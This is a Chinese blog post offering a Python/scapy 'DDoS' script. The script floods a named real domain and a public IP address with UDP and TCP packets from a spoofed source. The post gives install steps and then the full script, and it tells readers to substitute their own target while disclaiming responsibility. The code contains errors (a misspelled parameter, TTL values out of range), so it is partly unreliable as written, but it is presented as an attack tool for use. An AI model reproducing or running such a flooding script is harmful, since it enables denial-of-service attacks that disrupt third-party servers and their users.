python写一个DDos脚本(DOS)

前言:突然想写,然后去了解原理

 

DDOS原理:往指定的IP发送数据包(僵尸网络),导致服务器

拒绝服务,无法正常访问。

0x01:

要用到的模块

scapy模块
pip install scapy
或:
https://github.com/phaethon/scapy 
下载setup.py
然后执行python setup.py install
系统环境:kali Linux
windows会报模块缺少还有一个162行的windows.dll的错误

  打大站,妹的。恶心的一片的站

0x03

代码分析:

#-*- coding:'utf-8' -*-
import  time
import  struct
from threading import *
import socket
from scapy.all  import  *
start=time.time()
screenlock=Semaphore(value=1000)
print '[^]HAQ DDOs start!'
def DDos():
  try:
    print '[*]Second layers of DDos'
    s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击
    print s[0].show()
  except Exception,e:
      print '[-]The cause of the mistake {}'.format(e)
  try:
    print '[*]Third layer DDos'
    p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())#第三层攻击
    print p[0].show()
  except Exception,s:
      print '[-]The cause of the mistake{}'.format(s)
  try:
    print '[*]Repeated attacks'
    see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))#重复攻击
    print see[0].show()
  except Exception,f:
      print '[-]The cause of the mistake{}'.format(f)
  try:
    data = struct. pack ('=BHI',0x96,20,1000)
    pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data
    print '[*]DDoS attacks are being carried out!'
    screenlock.acquire()
    send (pkt,inter= 1 ,count= 160)
  except Exception,g:
      print "[-]The cause of the mistake{}".format(g)
  try:
      print '[*]DDos'
      gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP())
  except Exception,i:
      print '[-]cause of the mistake{}'.format(i)
t = Thread(target=DDos, args=())
t.start()
end=time.time()
print '[!]Time consuming of this program,The first time is the initialization time:',end-start

  食用文档:https://phaethon.github.io/scapy/api/usage.html#starting-scapy

      github下载地址:https://github.com/422926799/python

      自己修改目标

        恶意攻击他人服务器出事请自行负责。

posted on 2018-01-23 13:41  东京$  阅读(13672)  评论(0编辑  收藏  举报

导航